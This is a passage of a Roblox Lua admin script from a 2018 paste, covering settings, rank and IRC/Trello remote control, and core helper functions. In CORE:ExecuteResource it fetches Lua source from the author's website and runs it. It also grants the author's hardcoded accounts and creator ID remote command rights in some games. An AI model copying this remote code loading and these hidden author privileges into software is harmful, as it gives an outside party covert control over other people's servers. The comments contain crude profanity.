· 7 years ago · Sep 03, 2018, 08:58 PM
1
2local Settings = {
3 Ranks = {
4 ["Owner"] = {};
5 ["Admin"] = {};
6 ["Member"] = {};
7 ["Banned"] = {};
8 ["Crashed"] = {};
9 ["Muted"] = {};
10 };
11
12 Prefix = ";";
13 Bet = " ";
14 MinimumAge = 0;
15 ServerLocked = false;
16 ColorScheme = "White";
17 TransparencyScheme = 50;
18 Fun = true;
19 EnableAdminMenu = true;
20 EnableTaskBar = true;
21 FreeAdmin = false;
22 Font = "Arial";
23
24 DisableAbuse = false;
25 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
26 AbusableGear = {};
27
28 LinkedAccount = "";
29 DataKey = "pussy";
30
31 ExecuteNotificationSound = 0; --177578949
32 EnableSounds = true;
33
34 VIPMemberID = 0;
35 VIPAdminID = 0;
36
37 GroupID = 0;
38 GroupBanRank = 0;
39 GroupMemberRank = 0;
40 GroupAdminRank = 0;
41 GroupOwnerRank = 0;
42 GroupRankBan = 0;
43 BannedGroupIDs = {};
44
45 IRCServer = "";
46 IRCChannel = "";
47 IRCCommandExecuters = {};
48
49 TrelloToken = ""
50}
51
52local Colors = {
53 ["WHITE"] = Color3.new(1,1,1);
54 ["BLACK"] = Color3.new(0,0,0);
55 ["GRAY"] = Color3.new(0.5,0.5,0.5);
56 ["RED"] = Color3.new(1,0,0);
57 ["GREEN"] = Color3.new(0,1,0);
58 ["BLUE"] = Color3.new(0,0,1);
59 ["YELLOW"] = Color3.new(1,1,0);
60 ["PINK"] = Color3.new(1,0,1);
61 ["MAGENTA"] = Color3.new(1,0,1);
62 ["CYAN"] = BrickColor.new("Cyan").Color;
63 ["TEAL"] = BrickColor.new("Teal").Color;
64 ["BROWN"] = Color3.new(0.55,0.25,0.075);
65 ["PURPLE"] = Color3.new(0.5,0,0.5);
66 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
67}
68
69local Server = {
70 Workspace = game:GetService("Workspace");
71 Players = game:GetService("Players");
72 Lighting = game:GetService("Lighting");
73 MPS = game:GetService("MarketplaceService");
74 TS = game:GetService("TeleportService");
75 HS = game:GetService("HttpService");
76 RS = game:GetService("RunService");
77 PS = game:GetService("PointsService");
78 TestS = game:GetService("TestService");
79 IS = game:GetService("InsertService");
80 Teams = game:GetService("Teams");
81 Data = game:GetService("DataStoreService");
82 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
83 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
84 Storage = game:GetService("ServerStorage");
85 RS = game:GetService("ReplicatedStorage");
86 AS = game:GetService("AssetService");
87}
88
89local Icons = {
90 ["Message"] = 7724351;
91 ["Error"] = 94011556;
92 ["Information"] = 144175130;
93 ["Check"] = 132769976;
94 ["Search"] = 61994930;
95 ["Time"] = 136391033;
96 ["Notice"] = 156507320;
97 ["Sound"] = 164682936;
98 ["Log"] = 70650545;
99 ["Question"] = 41363872;
100 ["Output"] = 11481605;
101 ["Admin"] = 302470270;
102 ["Lock"] = 11341626;
103 ["Settings"] = 131064748;
104 ["Map"] = 257119661;
105 ["Plugin"] = 257097414;
106}
107
108local IRC = {
109 Codes = {
110 ["001"] = "RPL_WELCOME",
111 ["002"] = "RPL_YOURHOST",
112 ["003"] = "RPL_CREATED",
113 ["004"] = "RPL_MYINFO",
114 ["005"] = "RPL_ISUPPORT",
115 ["250"] = "RPL_STATSCONN",
116 ["251"] = "RPL_LUSERCLIENT",
117 ["252"] = "RPL_LUSEROP",
118 ["254"] = "RPL_LUSERCHANNELS",
119 ["255"] = "RPL_LUSERME",
120 ["265"] = "RPL_LOCALUSERS",
121 ["266"] = "RPL_GLOBALUSERS",
122 ["352"] = "RPL_WHOREPLY",
123 ["371"] = "RPL_INFO",
124 ["372"] = "RPL_MOTD",
125 ["374"] = "RPL_ENDINFO",
126 ["375"] = "RPL_MOTDSTART",
127 ["376"] = "RPL_ENDOFMOTD",
128 ["422"] = "ERR_NOMOTD",
129 },
130 Ignore = {
131 ["004"] = true,
132 ["005"] = true,
133 };
134 Users = {};
135 Logs = {};
136 Chats = {};
137 Forms = {};
138 MessageAdded = Instance.new("BindableEvent");
139
140 Servers = {
141 ["esper.net"] = {
142 BaseUrl = "http://webchat.esper.net/";
143 DynamicUrl = "";
144 };
145 ["quakenet.org"] = {
146 BaseUrl = "http://webchat.quakenet.org/";
147 DynamicUrl = "dynamic/leibniz",
148 };
149 ["swiftirc.net"] = {
150 BaseUrl = "http://qwebirc.swiftirc.net/";
151 DynamicUrl = "",
152 };
153 };
154 NickName = "rbxMMLV3_"..math.random(1,100000);
155
156 SessionCounter = 0;
157 Connected = false;
158 Stop = false;
159 SessionID = "";
160}
161
162local RankHUD = {
163 ["Muted"] = 202180094;
164 ["Non-Admin"] = 202180121;
165 ["Member"] = 202180052;
166 ["Admin"] = 202180015;
167 ["Owner"] = 202179988;
168}
169
170local TextConverter = {
171 LetterSounds = {
172 ["a"] = {223757826, nil}; -- 203343899
173 ["b"] = {223533700, 0.2}; -- 203344029
174 ["c"] = {223533711, nil}; -- 203343994
175 ["d"] = {223757910, nil}; -- 203398237
176 ["e"] = {223758026, nil}; -- 203398295
177 ["f"] = {223777655, nil}; -- 203398347
178 ["g"] = {223777738, nil}; -- 203398372
179 ["h"] = {223777757, nil}; -- 203398397
180 ["i"] = {223777807, nil}; -- 203398422
181 ["j"] = {223782888, nil}; -- 203398450
182 ["k"] = {223533711, nil}; -- 203343994
183 ["l"] = {223782961, 0.4}; -- 203398541
184 ["m"] = {223782992, nil}; -- 203398578
185 ["n"] = {223783063, nil}; -- 203398599
186 ["o"] = {223783184, nil}; -- 203398611
187 ["p"] = {223783235, nil}; -- 203398727
188 ["q"] = {223783260, nil}; -- 203398755
189 ["r"] = {223783305, 0.2}; -- 203398792
190 ["s"] = {223783377, nil}; -- 203398806
191 ["t"] = {223783446, nil}; -- 203398850
192 ["u"] = {223783512, nil}; -- 203398872
193 ["v"] = {223783654, nil}; -- 203398965
194 ["w"] = {223783697, nil}; -- 203398984
195 ["x"] = {223783796, nil}; -- 203399008
196 ["y"] = {223783853, nil}; -- 203399043
197 ["z"] = {223783893, nil}; -- 203399096
198
199 ["ch"] = {223784367, 0.3}; -- 203592149
200 ["th"] = {223788235, 0.3}; -- 203399215
201 ["sh"] = {223784505, 0.2}; -- 203399566
202 ["wh"] = {223784555, 0.3}; -- 203622828
203 ["oo"] = {223784456, 0.3}; -- 203399743
204 ["ing"] = {223784393, 0.3}; -- 203402836
205 };
206
207 LongVowels = {
208 ["a"] = {223533687, nil}; -- 203343932
209 ["e"] = {223777620, nil}; -- 203398314
210 ["i"] = {223777855, nil}; -- 203398440
211 ["o"] = {223783212, nil}; -- 203398619
212 ["u"] = {223783572, nil}; -- 203398897
213 };
214
215 Pronounce = {
216 ["0"] = "zero";
217 ["1"] = "wun";
218 ["2"] = "too";
219 ["3"] = "three";
220 ["4"] = "four";
221 ["5"] = "five";
222 ["6"] = "six";
223 ["7"] = "seven";
224 ["8"] = "eyt";
225 ["9"] = "nine";
226 ["one"] = "wun";
227 ["two"] = "too";
228 ["eight"] = "eyt";
229 ["eigh"] = "ey";
230 ["gh"] = "h";
231 ["kn"] = "n";
232 ["come"] = "cu".."m";
233 ["bye"] = "bi";
234 ["#"] = "hashtag";
235 ["@"] = "at";
236 ["&"] = "and";
237 ["*"] = "astrict";
238 ["mn"] = "m";
239 ["kn"] = "n";
240 ["ies"] = "ees";
241 };
242
243 NonEnglishRules = {
244 ["to"] = "too";
245 ["you"] = "yoo";
246 ["we"] = "wee";
247 ["are"] = "erh";
248 ["your"] = "yoor";
249 ["you're"] = "yoor";
250 ["youre"] = "yoor";
251 ["pizza"] = "peetzoh";
252 ["ok"] = "okay";
253 ["have"] = "hav";
254 ["my"] = "mi";
255 ["me"] = "mee";
256 ["u"] = "yoo";
257 ["r"] = "erh";
258 ["move"] = "moov";
259 ["dove"] = "duv";
260 ["debris"] = "debree";
261 ["do"] = "doo";
262 }
263}
264
265local HTMLDecode = {
266 ["35"] = "#";
267 ["36"] = "$";
268 ["37"] = "%%";
269 ["38"] = "*";
270 ["39"] = "'";
271 ["58"] = ":";
272 ["59"] = ";";
273 ["60"] = "<";
274 ["62"] = ">";
275}
276
277
278local Assets = {
279 Packages = {
280 [27112438] = {27112025,27112039,27112052,27112056,27112068};
281 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
282 [77518833] = {77518564,77518616,77518654,77518696,77518737};
283 [32336368] = {32336059,32336117,32336182,32336243,32336306};
284 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
285 [54116460] = {54116290,54116338,54116373,54116394,54116432};
286 [39977366] = {39976703,39976829,39976927,39977192,39977295};
287 [32357766] = {32357663,32357631,32357619,32357584,32357558};
288 [27123973] = {27121265,27121306,27121353,27121393,27121432};
289 [55717536] = {55717271,55717330,55717388,55717434,55717491};
290 [28279963] = {28279160,28279217,28279859,28279894,28279938};
291 [27403592] = {27402580,27402546,27402641,27402714,27402742};
292 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
293 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
294 [48474394] = {48474356,48474294};
295 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
296 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
297 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
298 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
299 [33378577] = {33378366,33378438,33378484,33378522,33378540};
300 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
301 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
302 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
303 [41851073] = {41850825,41850868,41850915,41851009,41850959}
304 };
305 AssetTypes = {
306 [0] = "Product";
307 [1] = "Image";
308 [2] = "T-Shirt";
309 [3] = "Audio";
310 [4] = "Mesh";
311 [5] = "Lua";
312 [6] = "HTML";
313 [7] = "Text";
314 [8] = "Hat";
315 [9] = "Place";
316 [10] = "Model";
317 [11] = "Shirt";
318 [12] = "Pants";
319 [13] = "Decal";
320 [16] = "Avatar";
321 [17] = "Head";
322 [18] = "Face";
323 [19] = "Gear";
324 [21] = "Badge";
325 [22] = "Group Emblem";
326 [24] = "Animation";
327 [25] = "Arms";
328 [26] = "Legs";
329 [27] = "Torso";
330 [28] = "Right Arm";
331 [29] = "Left Arm";
332 [30] = "Left Leg";
333 [31] = "Right Leg";
334 [32] = "Package";
335 [33] = "YouTube Video";
336 [34] = "Game Pass";
337 [38] = "Plugin";
338 [39] = "SolidModel";
339 [40] = "MeshPart";
340 [41] = "Hair Accessory";
341 [42] = "Face Accessory";
342 [43] = "Neck Accessory";
343 [44] = "Shoulder Accessory";
344 [45] = "Front Accessory";
345 [46] = "Back Accessory";
346 };
347 AccessoryTypes = {
348 ["all"] = 19;
349 ["hats"] = 9;
350 ["hair"] = 20;
351 ["face"] = 21;
352 ["neck"] = 22;
353 ["shoulder"] = 23;
354 ["front"] = 24;
355 ["back"] = 25;
356 ["waist"] = 26;
357 };
358}
359
360local CharacterCache = {
361 {"MakerModelLua", 38837082};
362 {"LuaModelMaker", 20920633};
363 {"builderman", 156};
364 {"Shedletsky", 261};
365 {"Telamon", 13645};
366 {"ROBLOX", 1};
367}
368
369local FaceCovert = {
370 Left = "xpos";
371 Right = "xneg";
372 Front = "zpos";
373 Back = "zneg";
374 Top = "ypos";
375 Bottom = "yneg";
376}
377
378local Meshes = {
379 ["crown"] = {1, 1078075};
380 ["king"] = {1, 11419761};
381 ["teapot"] = {0.03, 1029523};
382 ["apple"] = {2.5, 16190555};
383 ["potato"] = {1, 25268275};
384 ["panda"] = {0.5, 20709221};
385 ["dominus"] = {0.5, 21057410};
386 ["fedora"] = {0.75, 13640868};
387 ["noob"] = {1, 20929341};
388 ["knife"] = {0.3, 121944778};
389 ["book"] = {0.3, 1136139};
390}
391
392local NotifySounds = {
393 ["Hover"] = 223134269;
394 ["Select"] = 292141227;
395}
396
397local Trello = {
398 TrelloInfoCard = "x1rUtwEj";
399 MainBoard = {};
400 RequiredLists = {};
401 RankChecklistCache = {};
402 ToggleChecklist = nil;
403 CommandID = nil;
404 LastCommandDT = 0;
405 AdminBoardID = "577ea1b21cb7975666524f26";
406 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
407 RemoteDataCard = "dLtMo1en"
408}
409
410local ScriptBuilders = {
411 [260897989] = "MML's";
412 [21053279] = "Anti's pub";
413 [21053219] = "Anti's pri";
414 [20279777] = "Void's 1";
415 [437965235] = "Void's 2";
416 [227015991] = "Vox's";
417 [210101277] = "Master's";
418 [531937877] = "Bleu pigs";
419 [519251450] = "Game's";
420}
421
422-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
423-- Why else would I NOT have put it in a module?!?!?
424
425local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
426
427local SoundList,GlobalSoundList = {},{}
428local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
429local TempChatLogs = {}
430local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
431local NoSpeak = false
432
433local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
434local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
435
436local ChatLogs,CommandLogs = {},{}
437local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
438local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
439local Dispose,Jails,PermCommandBars = {},{},{}
440local Waypoints = {["Center"] = Vector3.new(0,0,0)}
441local Objects = {}
442local Sound = nil
443local ModLighting = false
444local DataReady = true
445local RemoteAbuseGear = {}
446
447local GameOwner = "[ Client ]"
448local PlaceName = "Unknown"
449local PlaceInfo = {}
450local IsStudio = false
451local IsSB = false
452local Date = nil
453local Fonts = {}
454local PendingRequests = {}
455local F3X = script:FindFirstChild("F3X Tools")
456local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
457local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
458local KeyBinds = {}
459local Crowns = {}
460local LastKeys = {}
461local Cars = {}
462local StringReplacements = {}
463local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
464local NoBet = {"/", "-", "(", ")", ""}
465local ShouldFilter = true
466
467local CrownStorage = script:FindFirstChild("CrownStorage")
468if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
469
470-- import old settings just in case --
471local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
472if OldSettings then
473 OldSettings = require(OldSettings)
474
475 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
476 Settings[ValName] = OldSettings[ValName]
477 end
478 Settings.GroupBanRank = OldSettings.RankBan
479 Settings.Fun = OldSettings.FUN
480end
481
482if F3X then
483 F3X = F3X:Clone()
484 F3X.Handle.Anchored = false
485 script:FindFirstChild("F3X Tools"):Destroy()
486end
487
488wait(0.1)
489
490local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
491-- tries to defualt to server storage, just in case an exploiter makes their own settings.
492
493if SettingsValues then
494 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
495 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
496 for _,Value in pairs(SettingsValues:GetChildren()) do
497 if Settings[Value.Name] ~= nil then
498 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
499 for _,NewValue in pairs(Value:GetChildren()) do
500 if ypcall(function() return NewValue.Value end) then
501 if Settings[Value.Name][NewValue.Name] then
502 local Val = NewValue.Value
503 if type(Settings[Value.Name][NewValue.Name]) == "table" then
504 Val = {}
505 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
506 table.insert(Val, Word)
507 end
508 end
509 Settings[Value.Name][NewValue.Name] = Val
510 end
511 end
512 end
513 else
514 if Settings[Value.Name] ~= nil then
515 local Val = Value.Value
516 if type(Settings[Value.Name]) == "table" then
517 Val = {}
518 for Word in string.gmatch(Value.Value, "%w+") do
519 table.insert(Val, Word)
520 end
521 end
522 Settings[Value.Name] = Val
523 end
524 end
525 end
526 end
527 end
528end
529
530if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 843495510 then
531 Settings.LinkedAccount = ""
532elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
533 Settings.LinkedAccount = "Admin"
534end
535
536local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
537local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
538
539wait(1)
540
541local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
542
543if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
544
545if not IsStudio then
546 Server.NS = game:GetService("NetworkServer")
547 script.Name = "Maker".."Mo".."delLua's Admin"
548end
549
550if game.PlaceId > 0 then
551 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
552 PlaceName = PlaceInfo.Name
553end
554
555local function GetGameOwner()
556 if PlaceInfo.Creator.CreatorType == "Group" then
557 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
558 print("MML's Admin: Found group owner for game: "..GameOwner)
559 elseif PlaceInfo.Creator.CreatorType == "User" then
560 GameOwner = PlaceInfo.Creator.Name
561 print("MML's Admin: Found game owner: "..GameOwner)
562 else
563 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
564 end
565end
566
567if string.byte(string.sub(PlaceName,1,1)) == 226 then
568 PlaceName = string.sub(PlaceName,4,#PlaceName)
569end
570for i = 1,5 do
571 if GameOwner == "[ Client ]" then
572 print("MML's Admin: Attempting to establish owner's name #"..i)
573 GetGameOwner()
574 wait(1)
575 end
576end
577
578if ScriptBuilders[PlaceID] or NLS then
579 IsSB = true
580end
581
582if IsSB then
583 ShouldFilter = false
584 Settings.IRCServer = "swiftirc.net";
585 Settings.IRCChannel = "#PkamaraSB";
586 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
587 if Settings.TrelloToken == "" then
588 Settings.LinkedAccount = "ScriptBuilder"
589 end
590 if Settings.DataKey == "" then coroutine.wrap(function()
591 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
592 local Key = Server.Storage:FindFirstChild("MML DataKey")
593 print("Found key: "..Key.Value)
594 Settings.DataKey = Key.Value
595 Key:Destroy()
596 end)() end
597end
598local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
599table.insert(Settings.Ranks["Owner"], GameOwner)
600
601for _,Font in pairs(Enum.Font:GetEnumItems()) do
602 Fonts[Font.Name] = Font
603end
604
605local LogClient = script:FindFirstChild("AddClientInfo")
606if LogClient then LogClient:Destroy() end
607LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
608LogClient.OnServerInvoke = function(Player, Info)
609 if Info then
610 for Key,Data in pairs(Info) do
611 ClientInfo[Player.Name][Key] = Data
612 end
613 end
614end
615
616local function MakeFunction(Type, Name)
617 local Func = script:FindFirstChild(Name)
618 if Func then Func:Destroy() end
619 Func = Instance.new(Type, script) Func.Name = Name
620
621 getfenv()[Name] = Func
622 return Func
623end
624
625MakeFunction("BindableFunction", "ExecuteCommand")
626MakeFunction("RemoteFunction", "ExecuteCommandClient")
627MakeFunction("BindableFunction", "ExecuteCode")
628
629MakeFunction("RemoteFunction", "IsAdmin")
630MakeFunction("RemoteFunction", "AddExploit")
631MakeFunction("BindableFunction", "AddExploitServer")
632MakeFunction("RemoteFunction", "KickClient")
633MakeFunction("RemoteFunction", "ConvertTextToSound")
634
635MakeFunction("RemoteFunction", "KeyPressed")
636MakeFunction("RemoteFunction", "InputKey")
637
638MakeFunction("RemoteFunction", "RankPlayerLocal")
639MakeFunction("BindableFunction", "RankPlayerServer")
640
641--[[
642if NLS then
643 local Value = script:FindFirstChild("Override")
644 LogClient.Parent = game
645 if not Value then
646 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
647 local CloneScript = script:Clone()
648 CloneScript.Disabled = true
649 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
650 CloneScript.Disabled = false
651 CloneScript.Parent = nil
652
653 script:Destroy() script.Disabled = true
654 end
655end
656]]
657
658if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
659
660IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
661
662-- Core functions --
663
664function CORE:FixSettings()
665 for _,Bet in pairs(NoBet) do
666 if Settings.Bet == Bet then
667 Settings.Bet = " "
668 break
669 end
670 end
671 CORE:ChangeBet(Settings.Bet)
672
673 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
674 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
675
676 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
677 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
678 Settings.TransparencyScheme = Settings.TransparencyScheme/100
679
680 if not Fonts[Settings.Font] then
681 Settings.Font = "Arial"
682 end
683end
684
685function CORE:NilPlayer(Player)
686 if Player == nil or type(Player) == "table" then return true else return false end
687end
688
689function CORE:ExecuteResource(ResourceName, Parent, Data)
690 local ReturnScript = nil
691 local Executed = true
692 if script:FindFirstChild("Resources") then
693 local RawResource = script.Resources:FindFirstChild(ResourceName)
694 if RawResource then
695 local Resource = RawResource:Clone()
696 Resource.Disabled = true
697 Resource.Parent = Parent
698 if Data then
699 for Key,Value in pairs(Data) do
700 if Resource[Key] then
701 Resource[Key].Value = Value
702 end
703 end
704 end
705 wait()
706 Resource.Disabled = false
707 ReturnScript = Resource
708 else
709 Executed = false
710 end
711 else
712 Executed = false
713 end
714 if Executed == false then
715 if not Data then Data = {} end
716 local Source = ScriptCache[ResourceName]
717
718 if not Source then
719 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
720 if Source then
721 ScriptCache[ResourceName] = Source
722 end
723 end
724
725 if Data and Source then
726 for Key,Value in pairs(Data) do
727 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
728 end
729 end
730
731 if Source then
732 if NLS then
733 ReturnScript = NLS(Source, Parent)
734 elseif createLocalScriptWithSource then
735 ReturnScript = createLocalScriptWithSource(Source)
736 ReturnScript.Parent = Parent
737 end
738 end
739 end
740 return ReturnScript
741end
742
743function CORE:CreateRemotePropertyReader(Obj, Override)
744 if Server.Workspace.FilteringEnabled == true or Override then
745 local Reader = Instance.new("RemoteFunction", Obj)
746 Reader.Name = "RemotePropertyReader"
747 CORE:ExecuteResource("RemotePropertyReader", Reader)
748 return Reader
749 else
750 return Obj
751 end
752end
753
754function CORE:ReadProperty(Reader, Player, Property)
755 if Reader:IsA("RemoteFunction") then
756 return Reader:InvokeClient(Player, Property)
757 else
758 return Reader[Property]
759 end
760end
761
762function CORE:WriteProperty(Reader, Player, Property, Value)
763 if Reader:IsA("RemoteFunction") then
764 return Reader:InvokeClient(Player, Property, Value)
765 else
766 return Reader[Property]
767 end
768end
769
770
771function CORE:CreateRemoteEvent(Obj, EventName)
772 local Event = Instance.new("RemoteEvent", Obj)
773 Event.Name = "RemoteEvent_"..EventName
774 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
775 return Event
776end
777
778function CORE:HandleEvent(Obj, EventName, Func, NewThread)
779 local function Handle()
780 if Server.Workspace.FilteringEnabled == true then
781 local Event = CORE:CreateRemoteEvent(Obj, EventName)
782 return Event.OnServerEvent:connect(function(Player, ...)
783 Func(...)
784 end)
785 else
786 return Obj[EventName]:connect(Func)
787 end
788 end
789 if NewThread then
790 Spawn(Handle)
791 else
792 Handle()
793 end
794end
795
796function CORE:HandleError(Error, Speaker)
797 local Return = ""
798 if not Error or Error == "" then
799 Return = "Unknown Error"
800 else
801 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
802 end
803 if Speaker then
804 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
805 end
806 return Return
807end
808
809local function ExecuteSafe(Source, Speaker) -- no CORE
810 local Script, Error = loadstring(Source)
811 if Error then
812 return false, CORE:HandleError(Error, Speaker)
813 else
814 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
815 getfenv(Script).Server, getfenv(Script).script = Server,script
816 if Speaker then
817 getfenv(Script).print = function(...)
818 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
819 end
820 getfenv(Script).print_array = function(List)
821 if type(List) == "table" then
822 GUI:ListGui(Speaker, "Listed Table", List, "Output")
823 end
824 end
825 end
826
827 local Suc, Error = ypcall(coroutine.wrap(Script))
828
829 if not Suc then
830 Error = CORE:HandleError(Error, Speaker)
831 end
832
833 return Suc,Error
834 end
835end
836
837function CORE:GetTime(Regular, FullDate)
838 if Regular == nil then Regular = true end
839 local Meridiem = ""
840 if Regular == true then Meridiem = " AM" end
841 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
842 local Hour = math.floor(SecondsOfToday / (60*60))
843 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
844 local Second = math.floor(math.fmod(SecondsOfToday, 60))
845 if Hour > 12 and Regular == true then
846 Hour = Hour - 12
847 Meridiem = " PM"
848 end
849 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
850 if #Hour <= 1 then Hour = "0"..Hour end
851 if #Minute <= 1 then Minute = "0"..Minute end
852 if #Second <= 1 then Second = "0"..Second end
853 local Return = Hour..":"..Minute..":"..Second..Meridiem
854 if FullDate == true and Date then Return = Date.." "..Return end
855 return Return
856end
857
858function CORE:RemoveAdmin(Speaker)
859 local Answer = true -- false
860 if not CORE:NilPlayer(Speaker) then
861 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
862 end
863 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
864 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
865 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
866 for _,Item in pairs(Player:GetChildren()) do
867 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
868 Item:Destroy()
869 end
870 end
871 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
872 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
873 GUI:Destroy()
874 end
875 end
876 end end
877 for _,Car in pairs(Cars) do
878 Car:Destroy()
879 end
880 CORE:FixLighting()
881 while wait() do
882 if script:FindFirstChild("Override") then script.Override.Value = true end
883 Settings,CORE,IRC = nil,{},{}
884 if Sound then Sound:Stop() end
885 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
886 script:ClearAllChildren() script:Destroy() script.Disabled = true
887 end
888 end
889end
890
891function CORE:MakeBase()
892 for _,Get in pairs(Workspace:GetChildren()) do
893 if Get.Name == "Base" or Get.Name == "BasePlate" then
894 Get:Destroy()
895 end
896 end
897 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
898end
899
900function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
901 if IsAbusive == nil then IsAbusive = false end
902 if Commands[CommandName] then table.remove(Commands[CommandName]) end
903 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
904end
905
906function CORE:FixLighting() coroutine.wrap(function()
907 ModLighting = false
908 wait(0.2)
909 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
910 Server.Lighting.FogColor = Color3.new(0,0,0)
911 Server.Lighting.Brightness = 1
912 Server.Lighting.TimeOfDay = 14
913 Server.Lighting.FogEnd = 100000
914end)() end
915
916function CORE:Round(Number)
917 if Number >= 0.5 then
918 return math.ceil(Number)
